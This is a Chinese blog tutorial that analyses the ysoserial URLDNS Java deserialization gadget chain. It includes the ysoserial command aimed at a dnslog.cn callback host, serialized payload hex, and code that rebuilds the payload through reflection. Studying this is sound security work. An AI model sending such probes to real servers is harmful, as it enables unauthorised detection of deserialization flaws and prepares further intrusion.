ysoserial URLDNS解析

工具: Java反序列化在线解析

0x01 ysoserial payload讲解

java -jar ysoserial.jar URLDNS http://bg3sza.dnslog.cn > out.bin

Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

如下是 out.bin 反序列化之后文件的内容

ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF740010626733737A612E646E736C6F672E636E74000071007E0005740004687474707078740017687474703A2F2F626733737A612E646E736C6F672E636E78

通过反序列化工具解析,可以看到HashMap中的key是 java.net.URL 的对象,value 是一个URL。

对应ysoserial构造payload的代码

public class URLDNS implements ObjectPayload<Object> {

    static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }    

        protected synchronized InetAddress getHostAddress(URL u) {
            return null
        }
    }

    public Object getObject(final String url) throws Exception {
        URLStreamHandler handler = new SilentURLStreamHandler();
        
        HashMap ht = new HashMap();

        URL u = new URL(null, url, handler);

        ht.put(u, url);

        Reflections.setFieldValue(u, "hashCode", -1);

        return ht;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

}

触发反序列化的方法是readObject,因为Java开发者(包括Java内置库的开发者)经常在这里写自己的逻辑,所以导致可以构造利用链。

0x21 实验一

一个size=0的HashMap反序列化之后是怎么样的?通过下列语句建立一个空的HashMap

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap hm = new HashMap();
        
        File fileObject = new File("hashmap.ser");
        
        try(ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
            oss.writeObject(hm);
            System.out.println(hm);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

得到的 hashmap.ser 文件如下

ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078

0x22 实验二

当向HashMap放入key、value时,解析如下,会比size=0的时候多出两列,即k、v,分别代表着hm.put("k", "v") 中的两个键值。

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap hm = new HashMap();
        hm.put("k", "v");
        File fileObject = new File("hashmap1.ser");
        try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
            oss.writeObject(hm);
            System.out.println(hm);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200136A6176612E6C616E672E436861726163746572348B47D96B1A267802000143000576616C7565787000617371007E0002006278

 0x23 实验三

在这个实验中,我们向HashMap中的key放入了java.net.URL创建的对象,而value则是 www.value.com,可以见到如下图

public class URLDNS {
    public static void main(String[] args) throws Exception {
        
        HashMap hm = new HashMap();
        URL url = new URL("http://www.baidu.com");

        hm.put(url, "www.value.com");

        File fileObject = new File("hashmap2.ser");

        try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
            
            oss.writeObject(hm);

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870B49639E3FFFFFFFF74000D7777772E62616964752E636F6D74000071007E000574000468747470707874000D7777772E76616C75652E636F6D78

以上和ysoserial生成的payload的格式已经是一致的了。

 但是可见还是有些不同,其中实验三生成的 hashCode=-1265223197,而ysoserial生成的hashCode=-1,显然实验三并不是我们想要的。所以需要将hashCode设置成-1。

0x24 实验四

实验三已经明确需要将hashCode设置为-1,接下来我们具体看下java.net.URL这个类

格式

protocol://username:pass@host:port/path?query#fragment

构造函数

函数名描述
URL(String url)根据url构建一个URL对象
URL(String context, String spec, URLStreamHandler handler)通过使用指定上下文中的指定程序解析给定规范来创建URL

方法 

方法描述
Object getContent()获取此URL的内容
int hashCode()创建适合哈希表索引的整数
public final class URL implements java.io.Serializable {
    ...
    private String protocol;
    private String host;
    private int port = -1;
    private transient String path;
    private transient String query;
    private String file;
    private String authority;
    private String ref;
    private int hashCode = -1;
}

其中 hashCode为私有成员变量,而且没有类似sethashCode(int value)方法可以进行改变,故只有通过反射的方法进行修改变量。

public class URLDNS {
    public static void main(String[] args) throws Exception {

        HashMap hm = new HashMap();
        URL url = new URL("http://www.baidu.com");

        hm.put(url, "www.value.com");

        Field field = url.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, -1);

        File fileObject = new File("hashmap3.ser");

        try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
            
            oss.writeObject(hm);

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

通过如下片段来改变url对象中的私有成员hashCode的值,绕过Java语言类的保护

Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);

如图,java.net.URL中的私有成员变量已经被我们设置了-1

ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF74000D7777772E62616964752E636F6D74000071007E000574000468747470707874000D7777772E76616C75652E636F6D78

0x30 解析URLDNS流程

如下是反序列化过程,我们传入 HashMap 的序列化文件,通过 ois.readObject() 来获取这个类而进行反序列化。不管我们传入的是什么类的对象,都会通过readObject进行反序列化。

public class URLDNS {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

 通过调用ois.readObject会调用HashMap.java类中的 readObject方法,而该方法最终会调用putVal方法,ysoserial注释中很明确的说明"During the put above,the URL's hashCode is calculated and cached.This resets that so the next time hashCode is called a DNS lookup will be triggered."。

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V> Cloneable,Serializable {
    
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        reinitialize();
        ...
        int mappings = s.readInt();  // Read number of mappings (size)
        ...
        // Read the keys and values,and put the mappings in the HashMap
        for (int i=0; i < mappings; i++) {
            K key   = (K) s.readObject();
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}
putVal(hash(key), key, value, false, false);

 深入hash()这个函数可以看到当key == null 不为 true的时候,会调用 (key.hashCode())^(h >>>16)

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这时的key是 java.net.URL 类的对象,所以会调用 java.net.URL 类的方法 hashCode(),如下但hashCode为-1的时候,会调用 handler.hashCode(this)。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

 进入函数后会跳转到 URLStreamHandler的 hashCode 方法中,如下所示

 protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
...
}

其中调用了 getHostAddress(u) 这个函数,会去访问 u 域名指向的IP,

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询。

Gadget Chain 如下

HashMap -> readObject()

HashMap -> hash()

URL -> hashCode()

URLStreamHandler -> hashCode()

URLStreamHandler -> getHostAddress()

InetAddress -> getByName()

从反序列化最开始的readObject到最后触发DNS请求的getByName只经过6个函数调用。

通过最初初始化一个 java.net.URL 对象,作为 key 放在 java.util.HashMap中,然后设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发到后面的DNS请求,否则不会调用URL->hashCode()。

关键难点在于Java的动态性,我们不知道key对应的对象,如果最初不是HashMap,即不会有putVal的调用

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V> Cloneable,Serializable {
    
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        reinitialize();
        ...
        int mappings = s.readInt();  // Read number of mappings (size)
        ...
        // Read the keys and values,and put the mappings in the HashMap
        for (int i=0; i < mappings; i++) {
            K key   = (K) s.readObject();
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

而key对应类的对象如果不是java.net.URL则 也不会走到 getHostAddress 方法中

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
...
}

最终我们要构造出能触发URLDNS的调用可以参考实验四

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值